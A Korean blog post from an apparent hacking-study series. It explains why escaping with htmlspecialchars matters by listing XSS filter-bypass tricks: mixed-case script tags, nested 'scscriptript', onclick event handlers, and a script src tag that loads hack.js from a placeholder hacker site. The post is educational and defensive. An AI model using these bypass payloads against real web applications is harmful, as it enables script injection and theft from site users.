2023. 5. 20. 13:00ㆍ해킹/XSS
제가 순서를 잘못했습니다..
왜 htmlspacialchars를 사용해서 이스케이프를 해야하는지 .. 왜 이것이 중요한지에 대해서 봅시다.
이스케이프를 안하고 단순히 필터링만 한다고 가정한다면 그 필터링을 우회하는 다양한 공격 기법들이 있습니다.
1. 스크립트를 필터링 하는 경우.
스크립트를 입력할시 필터링 당하고 스크립트 태그 안에 사용자 입력이 들어가지 않습니다.
1-1.<ScRipt></ScRipt> 이런식으로 대소문자를 섞어서 필터링을 피해갑니다.
1-2.포함된 문자만 빼서 처리하는경우.
만약 사용자가
안녕하세요 script 입니다.
라고 입력시 필터링해서 안녕하세요 입니다. 만 출력되는 경우에 사용하는 기법입니다.
scscriptript 를 입력하면. 가운데 script가 필터링되서 sc , ript만 남습니다. 즉 script가 완성됩니다.
물론 반복해서 검증을 한다면 막힙니다.
1-3 스크립트태그가 아예 필터링 되어있는경우
이런경우는 이벤트 핸들러를 이용합니다. 저번에 alert를 필터링에서 submit를 클릭할때 함수를 호출했죠. 그겁니다.
input onclick="악성코드" 를 하면 됩니다.
2.명령어를 필터링 하는경우/글자 수 제한이 있는 경우
이미지를 불러올때 src를 사용해서 다른 사이트에서 이미지를 불러오는 것 처럼..
스크립트또한 src 속성으로 다른 사이트에서 불러올 수 있습니다.
<script src = "해커의 사이트/hack.js"></scrpt> 를 한다면 해커의 사이트에서 hack.js를 가져옵니다.
hack.js에 악성코드를 모두 넣어놓으면 되니까
명령어 필터링을 모두 우회가 가능하고 글자수 우회가 가능합니다.
이 모든 기법은 htmlspacialchars로 인해 막힙니다. (가장 중요한 <> 태그, "" 큰따옴표가 막히기 때문)
'해킹 > XSS' 카테고리의 다른 글
Dom based XSS 학습 (0) | 2023.05.21 |
---|---|
게시판 Reflected XSS 공격과 취약점 고치기 - 3 (0) | 2023.05.20 |
게시판 Reflected XSS 공격과 취약점 고치기 - 2 (0) | 2023.05.18 |